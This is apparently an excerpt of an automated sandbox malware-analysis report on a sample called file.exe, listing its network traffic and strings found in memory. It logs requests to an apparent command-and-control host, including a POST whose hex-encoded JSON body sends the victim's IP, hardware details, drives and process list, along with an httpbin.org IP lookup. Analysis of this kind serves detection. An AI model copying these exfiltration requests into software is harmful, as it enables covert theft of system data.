b8 00 24 d7 48 76 ed 09 d8 4a 51 14 37 2a 4b 32 3b 75 c9 a6 79 50 6a dc 2e a1 9e 6e 36 33 04 aa a6 e3 1d 14 57 5e a2 5c 91 91 0c f6 13 e9 99 31 57 d3 e9 42 0b c6 7d 39 7b 06 79 eb 43 85 62 f4 44 16 81 f2 09 d2 22 58 21 c7 de d7 50 6c 3c 71 4c 2f 88 8e 80 08 49 27 ea 3a 31 cf 44 5a 7e ed 78 c0 aa 04 61 44 7d 57 53 e7 e8 69 e0 e7 d8 c8 21 a9 67 e4 55 f3 d2 fd 5d 35 8a 02 37 a1 a2 7a 29 e2 ab 24 59 1a 53 e9 7d ad b8 16 b0 22 6d ea 80 fa e5 f6 7d d9 53 33 84 63 3a c2 7e 24 04 2b 30 66 7e 8e 12 4d 09 e4 9c 0a 04 70 b1 69 97 b8 fa e1 5b d9 99 d9 cb 6b a3 03 50 be f6 94 1e 86 7d f5 c7 d6 9b a8 7d 04 28 45 43 b0 57 71 8d 3d 18 f5 29 3d 6b 16 b2 80 ef a4 a5 f5 8d a9 85 66 6e c6 1c 34 7a a0 2f c4 e8 88 87 fb dd d7 8d 24 4f 23 01 28 89 c2 a5 ec ce 97 30 00 a3 e4 7a fa 3f eb 18 69 bb 6b fb 83 c8 d9 6b 85 b1 4f b4 7b fa c9 05 6f 22 2c 13 6b 8e 72 a9 71 3a 05 df 41 73 18 57 fd 21 4b c2 d1 ad 21 ba ac 32 dd ec 62 e0 26 e9 72 14 1d 54 64 92 ab 0a 50 43 8b 22 47 a1 a6 8f 51 54 c9 7b 1d 54 80 30 10 97 e4 8e 56 97 3e 53 54 f1 f6 d3 20 1a c8 80 2b 15 67 31 e7 c7 1b 41 b2 07 a0 33 87 e9 46 00 3a cf 29 3c f7 54 cf 8a 93 b8 06 06 ea fc a8 ca ef 3e ad 12 ea a2 07 3d c9 92 25 85 66 31 61 5b 18 f4 a9 a4 ff b9 ef c3 06 46 6d 3e 87 d6 90 b7 b7 3a 89 5a 83 a8 a4 99 20 36 f4 f3 58 2b 9a ba a2 f7 51 cb fc 09 fa 17 c2 9f 30 29 5c 9c b7 b2 82 2f c4 0b 48 24 8b ac 95 3a bc 18 83 8c d8 f6 7c 80 d0 30 78 31 bd 7a 73 6b 74 53 db 36 4d d3 c3 a0 17 ef ab f2 c8 a1 79 d3 ab d9 89 47 c4 5d 5e c6 83 e4 4a ec fa fe 2b 2e ab 85 c5 29 8e 76 68 c2 1a 79 d0 b5 07 0d d7 23 db 04 6f f1 bc f2 17 c4 2c 7d 25 8a 2c 39 ab c8 30 bd 39 4e a4 33 7b 26 57 85 03 9b 04 f3 6a e8 c1 d1 0e fe b4 05 5f 6f 5d 5b b1 bd ca 30 dd 76 fa b7 e6 54 3a b5 d7 08 c1 ec 50 a7 b7 fb e3 6b e5 11 2c 9f f6 b3 83 f6 a3 2f b5 75 9e 0c 4c d8 0e 6e 55 23 0c a1 e6 47 66 58 2f a1 a4 84 96 cf 0e 63 2f 9e 9c df 4f c5 e6 04 9b 7a 0c 34 cb cd 58 5e a3 63 6b 3c 59
Source: global traffic	HTTP traffic detected: POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1Host: home.fvtekx5pt.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 48 34 66 6b 32 61 39 67 77 75 68 77 7a 37 41 67 31 37 33 32 39 33 39 32 30 34 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "H4fk2a9gwuhwz7Ag1732939204", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 18.208.8.205 18.208.8.205
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 141.8.197.146 141.8.197.146

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /RrlNvinfLqYZQoxgChZr1732768478?argument=H4fk2a9gwuhwz7Ag1732939204 HTTP/1.1Host: home.fvtekx5pt.topAccept: /

Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2127165641.00007BE000F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2127072992.00007BE000F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122217364.00007BE0003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000002.2127165641.00007BE000F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2127072992.00007BE000F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122217364.00007BE0003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2122149780.00007BE0003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092377647.00007BE00062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123134803.00007BE0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2121837872.00007BE0002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fvtekx5pt.top
Source: global traffic	DNS traffic detected: DNS query: fvtekx5pt.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1Host: home.fvtekx5pt.topAccept: */*Content-Type: application/jsonContent-Length: 495413Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 33 39 32 30 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3

Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517C
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/32065
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/35862
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970bstore.google.com
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
